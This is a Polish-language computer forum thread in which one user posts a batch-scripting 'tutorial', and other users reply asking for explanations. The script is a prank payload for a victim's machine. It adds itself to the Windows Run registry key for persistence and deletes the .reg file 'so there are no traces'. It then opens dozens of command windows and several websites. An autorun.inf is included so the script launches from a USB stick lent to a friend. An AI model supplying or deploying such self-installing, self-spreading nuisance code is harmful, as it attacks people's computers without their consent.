Komputeromaniak.net - Forum Komputerowo-Webmasterskie: Programik w batch'u - Komputeromaniak.net - Forum Komputerowo-Webmasterskie

Skocz do zawartości




Strona 1 z 1
  • Nie możesz napisać tematu
  • Temat jest zamknięty

Programik w batch'u

#1
Evil  


  • Tytuł Stały użytkownik
  • Grupa Webmasterzy
  • Postów 573
  • Rejestracja 03 marzec 2009
  • GG:8685472
  • Płeć:Mężczyzna
  • OS:Win7 && Ubuntu 10.04
Witam,dzisiaj pokaże Wam jak napisać prosty program w batch'u :)

P-pytanie
O-odpowiedź

P:Co to jest batch?
O:Batch jest to język programowania oparty na poleceniach ms-dos. Dostępne są w nim wszystkie funkcje jakie oferuje nam cmd.exe

P:jaki trzeba mieć program, żeby napisać skrypt w tym języku programowania?
O:Dowolny edytor tekstu, np.Notatnik notepad++

P:Czy działa to na każdym OS?
O:Nie,tylko na Windows'ie
na początek musimy zdefiniować, żeby napisów nie chcemy:D
 @echo off

Teraz kod, który pozwoli nam wrzucić plik do autostartu:
echo REGEDIT4>>reg.reg
echo. >>reg.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>reg.reg
echo "nazwa"="C:\Documents and Settings\All Users\Pulpit\test.bat">>reg.reg
regedit /s reg.reg
del reg.reg


Dzięki temu tworzy się plik, dodaje do autostartu i usuwa, żeby nie było żadnych śladów:)

Jeżeli chcemy zrobić komuś psikus to piszemy:
:start

start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
http://nazwastrony.pl
http://nazwastrony2.pl
http://nazwastrony3.pl
http://nazwastrony4itd.pl


cały kod powinien wyglądać tak:

@echo off
echo REGEDIT4>>reg.reg
echo. >>reg.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>reg.reg
echo "nazwa"="C:\Documents and Settings\All Users\Pulpit\test.bat">>reg.reg
regedit /s reg.reg
del reg.reg
:start
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
start cmd.exe
http://www.mistrzowie.org
http://komputeromaniak.net
http://demotywatory.pl


Zapisujemy to jako dowolny plik z rozszerzeniem .bat

Teraz tworzymy plik
autorun.inf
i wrzucamy do niego takie coś:
[autorun] 
open=test.bat
icon=ikona.ico

wrzucamy to np na pena i pożyczamy pena koledze:) Ubaw niesamowity:D

Nie pomagam na gg||email -> Tylko komputeromaniak.net
Dołączona grafika
0

#2
Badek  


  • Tytuł Stały użytkownik
  • Grupa Przyjaciele forum
  • Postów 1435
  • Rejestracja 24 październik 2008
  • Płeć:Mężczyzna
Dlaczego w co trzecie-czwarte zdanie wrzucasz emotikon? Rozumiem, że fajnie i w ogóle, ale czemu to służy w poradnikach? ;)

A i jeszcze dla takich jak ja edytuj poradnik i napisz co to jest batch. No a po drugie, nie wiem co to to robi.

0

#3
Nitrous  


  • Tytuł Stały użytkownik
  • Grupa Użytkownicy
  • Postów 294
  • Rejestracja 04 maj 2009
  • Płeć:Nie ustawiono
U mnie to nie zadziała.. poradnik tylko dla windowsiarzy. :morning2:
0

#4
batwing  


  • Tytuł Mastah
  • Grupa Przyjaciele forum
  • Postów 1573
  • Rejestracja 18 lipiec 2008
  • JID:batwing@jabberpl.org
  • GG:11168579
  • Płeć:Mężczyzna
  • Skąd:Łódź
  • OS:Ubuntu + KDE 4.2 / XP pro
Fajnie, że są chęci, ale zupełnie nie wiem o co chodzi w tym poradniku - ani nie ma informacji na temat konkretnych poleceń, ani komentarzy do skryptów, więc nie wiadomo co robią i dlaczego właśnie tak...

Dorzuć konkretne wyjaśnienia to będzie git :)
Jak wymyślę coś fajnego, to tu wstawię, a tymczasem TF2.
0

Udostępnij ten temat:


Strona 1 z 1
  • Nie możesz napisać tematu
  • Temat jest zamknięty

Użytkownicy przeglądający ten temat: 1
0 użytkowników, 1 gości, 0 anonimowych